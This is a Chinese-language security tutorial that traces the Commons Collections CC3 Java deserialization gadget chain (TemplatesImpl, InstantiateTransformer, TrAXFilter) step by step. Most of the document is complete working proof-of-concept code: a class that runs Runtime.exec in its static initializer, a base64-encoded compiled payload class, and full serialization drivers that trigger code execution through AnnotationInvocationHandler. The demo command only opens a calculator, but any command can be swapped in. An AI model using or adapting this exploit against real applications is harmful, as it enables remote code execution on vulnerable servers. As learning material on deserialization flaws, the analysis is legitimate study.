CC3-TemplatesImpl链

实验环境: JDK-8u65、commons-collections 3.2.1

CC2、CC3、CC4不是命令执行的链子,而是代码执行(加载字节码文件,实现代码执行)

ClassLoader类的loadClass方法加载过程:findClass方法 –> defineClass方法(从字节中加载类)

实战分析

只进行类加载的话,是不会执行代码的;初始化后,就会执行代码

利用点:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类中定义了一个内部类 TransletClassLoader ,在此类中继承了ClassLoader类并重写了defineClass方法

可以利用内部类TransletClassLoader这个重写的defineClass方法实现加载任意的恶意类文件

image-20240424000400039

defineClass这是个方法,返回类型是Class类型;可以看一下它继承的ClassLoader类中,说明它是个方法(m图标并且有返回值)

image-20240424000424534

那么就下来就是继续跟踪defineClass方法,看看哪里调用到;发现在当前类直接就有调用,通过defineTransletClasses方法调用,把结果保存在 _class 参数中

image-20240424000459158

继续跟踪defineTransletClasses方法,在getTransletInstance方法中有调用。

分析:

如果参数 _class 的值为null,就会调用defineTransletClasses方法;而在defineTransletClasses方法中会调用defineClass方法并把结果存放在 _class 中,获得 _class 参数后,继续往下执行就会调用到newInstance方法,该方法被调用后,就会进行初始化,从而指定通过defineClass方法加载的恶意代码(字节码文件)。

image-20240424000550505

继续跟踪getTransletInstance方法:最终在newTransformer方法中找到调用,并且newTransformer方法是public修饰的,可以直接调用而无需反射。那么链子基本上就构成了;只要调用newTransformer方法,就会一直调用到defineClass方法,来加载恶意字节码文件,构造任意代码执行。

流程:【 newTransformer() –> getTransletInstance() –> defineTransletClasses() –> defineClass() –> newInstance() 】

image-20240424000614624

构造POC,前面已经把链子的大致流程梳理出来了。接下来就是构造满足参数条件的POC

image-20240424000629564

分析:

newTransformer方法调用getTransletInstance方法,跟进getTransletInstance方法:参数_name必须不为null,否则就会直接return;参数_class就不用管,本身参数_class的值就是通过defineTransletClasses方法获得的。

image-20240424000644042

继续跟进defineTransletClasses方法:参数_bytecodes必须不为null,这样才不会抛出异常;参数_tfactary也不能为空,不然程序就无法继续执行下去

image-20240424000658943

参数_bytecodes的格式要求:先查看定义,是一个二维数据,在defineTransletClasses方法中传入的是一维数组,通过遍历把每个一维数组依次传入;这个参数是用来接收恶意字节码文件的二进制流的

image-20240424000713648

image-20240424000722855

参数 _tfactory要求:

这是一个transit修饰的参数,反序列化时获取不到值,所以就算通过反射修改了内容,反序列化也没有用,但是如果不加上内容肯定汇报空指针错误,导致代码无法执行。

既然TemplatesIMpl类是继承Serializeable接口的,那说明该类可以进行序列化,既然能进行序列化,那么参数 _tfactory肯定是有值的,就只有可能在该类的readObject方法中就赋好初始值。这样子的话,在反序列化TemplatesImpl这个类的时候,就是触发readObject这个方法,然后自动给参数_tfactory赋初始值。

image-20240424000737922

image-20240424000747034

编写恶意类并编译成字节码文件

image-20240424000758850

构造符合条件的参数

image-20240424000816157

运行POC,爆了空指针异常

image-20240424000835540

跟过去到defineTransletClasses方法看看,debug断点在defineTransletClasses方法分析看看:参数_bytecodes和参数_tfactory都是符合要求的,继续执行下去;

image-20240424000854795

defineClass方法的类加载也没有问题,可以执行下去,继续跟下去分析

image-20240424000909397

最终定位到参数_auxClasses是的null值,导致报错。defineTransletClasses方法要全部完全正确执行,才不会影响到链子,所以这里需要处理一下。

分析代码:有个IF判断,现在就是两种解决思路:①满足IF判断的第一个条件,不执行到else,就不用给参数_auxClasses赋值了。②给参数_auxClasses赋值

第一个IF判断条件:获取参数_class类的父类判断是否和常量ABSTRACT_TRANSLET相同,相同就进入IF判断。但是如果不进入第一个判断,而是进入else的话,那么参数_transletIndex的值默认就为 -1。就会进入第426行代码,抛出异常。所以这边不能让程序走到else语句中,那就要修改恶意类的代码,参数_class就是读取的恶意类。

image-20240424000928221

修改恶意类,直接让恶意类继承AbstractTranslet,这样子获得的父类就相同了。

继承后,提示需要实现抽象方法(AbstractTranslet是一个抽象类)

image-20240424000953040

直接点击实现即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


/**
* @author shiyingai
* @create 2023-03-09 20:22
*/


public class RCE extends AbstractTranslet{
static { // 静态代码块或者构造代码块都可以,因为会进行初始化,两种都会被调用
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

image-20240424001021265

再次运行POC即可正常弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
* @author shiyingai
* @create 2023-03-09 15:04
*/
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

/* 参数控制 */
Class templatesClass = templates.getClass();
// 修改 _name 参数
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"test");
// 修改 _bytecodes 参数
Field bytecodesFidld = templatesClass.getDeclaredField("_bytecodes");
bytecodesFidld.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\JavaSecurity\\CC\\target\\classes\\RCE.class"));
byte[][] codes = {code};
bytecodesFidld.set(templates,codes);

// 修改 _tfactory 参数
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


templates.newTransformer();
}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20240424001046457

  • 场景1

这里利用链已经构造好了,可以直接使用之前CC1的入口即可;假设实际环境,ban了Runtime类的话,就可以使用这条链子,这条链子是代码执行。这里还是利用InvokerTransformer类的transform方法来替换调用这行代码:

1
templates.newTransformer();

完整POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

/**
* @author shiyingai
* @create 2023-03-09 15:04
*/
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

/* 参数控制 */
Class templatesClass = templates.getClass();
// 修改 _name 参数
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"test");
// 修改 _bytecodes 参数
Field bytecodesFidld = templatesClass.getDeclaredField("_bytecodes");
bytecodesFidld.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\JavaSecurity\\CC\\target\\classes\\RCE.class"));
byte[][] codes = {code};
bytecodesFidld.set(templates,codes);

// 修改 _tfactory 参数
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


// templates.newTransformer();

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};



ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
// 以上代码是为了实现Runtime参与序列化,反射调用RCE



Map<Object,Object> map = new HashMap<>();
map.put("value","value_test");

Map<Object,Object> decorateMap = TransformedMap.decorate(map,null,chainedTransformer);

Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandlerObject = annotationInvocationHandlerConstructor.newInstance(Target.class,decorateMap);



// 对AnnotationInvocationHandler类进行序列化
serialize(annotationInvocationHandlerObject);

// 对AnnotationInvocationHandler类进行反序列化
unserialize("ser.bin");




}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20240424001140954

  • 场景2(ysoserialize中的写法)

还存在另外的情况,如果实际环境把InvokerTransformer类也给ban了的话;那就得继续找哪里调用newTransformer方法的地方了(如果能直接找到某个类的readObject方法中直接调用newTransformer方法是最好的)。

查找find usages,定位到TrAXFilter类中的构造方法:该构造方法直接传入一个Templates对象(TemplatesImpl类实现了Templates接口,所以可以直接传入TemplatesImpl对象),然后直接调用newTransformer方法

image-20240424001158524

但是TrAXFilter类没有实现Serializeable接口,所以无法进行序列化;如果想要序列化,只能通过反射的方式,Class类可以实现序列化;此处是通过TrAXFilter类的构造方法调用到TemplatesImpl对象的newTransformer方法的,仍然没有构成序列化的入口。

image-20240424001216832

CC3的作者找到一个可以反射初始化类的入口类(InstantiateTransformer,该类可以序列化),并且还是以transform方法调用的,可以直接和CC1之前的入口链连在一起

transform方法分析:判断传入的input参数是不是Class类型的,如果是的话,就会去调用该参数的构造方法,并进行初始化创建对象。

image-20240424001230902

参数iParamTypes和参数iArgs通过该类的构造方法传入,分别是TrAXFilter类中构造方法的参数类型和参数值。

image-20240424001245495

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

/**
* @author shiyingai
* @create 2023-03-09 15:04
*/
public class CC3 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();

/* 参数控制 */
Class templatesClass = templates.getClass();
// 修改 _name 参数
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"test");

// 修改 _bytecodes 参数
Field bytecodesFidld = templatesClass.getDeclaredField("_bytecodes");
bytecodesFidld.setAccessible(true);
// byte[] code = Files.readAllBytes(Paths.get("D:\\JavaSecurity\\CC\\target\\classes\\RCE.class"));
byte[] code = Base64.decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGlu\n" +
"aXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFi\n" +
"bGVUYWJsZQEABHRoaXMBAAVMUkNFOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9v\n" +
"cmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3Jn\n" +
"L2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFu\n" +
"ZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9p\n" +
"bnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2Fw\n" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxl\n" +
"cjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4v\n" +
"aW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVy\n" +
"bmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv\n" +
"aW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0\n" +
"ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RU\n" +
"TUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94\n" +
"bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8\n" +
"Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRh\n" +
"YmxlBwApAQAKU291cmNlRmlsZQEACFJDRS5qYXZhDAAJAAoHAC4MAC8AMAEABGNh\n" +
"bGMMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEAA1JDRQEAQGNvbS9z\n" +
"dW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3Ry\n" +
"YWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv\n" +
"eHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdl\n" +
"dFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZh\n" +
"L2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1Ry\n" +
"YWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAM\n" +
"AAAABgABAAAAEAANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAA\n" +
"AAGxAAAAAgAMAAAABgABAAAAHAANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEA\n" +
"AAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAM\n" +
"AAAABgABAAAAIQANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgAC\n" +
"AAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2\n" +
"AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAATAAkAFgAMABQADQAV\n" +
"ABEAFwANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj");
byte[][] codes = {code};
bytecodesFidld.set(templates,codes);

// 修改 _tfactory 参数(在序列化的时候,TemplatesImpl类的readObject方法会自动赋值)
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


// templates.newTransformer();

// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);



Transformer[] transforms = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);



Map<Object,Object> map = new HashMap<>();
map.put("value","value_test");

Map<Object,Object> decorateMap = TransformedMap.decorate(map,null,chainedTransformer);

Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandlerObject = annotationInvocationHandlerConstructor.newInstance(Target.class,decorateMap);

serialize(annotationInvocationHandlerObject);

unserialize("ser.bin");




}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

调用链

1
2
3
4
5
6
7
8
9
10
11
12
->ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->AnnotationInvocationHandler.setValue()
->TransformedMap.checkSetValue()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->TemplatesImpl.getTransletInstance()
->TemplatesImpl.defineTransletClasses()
->TemplatesImpl.defineClass()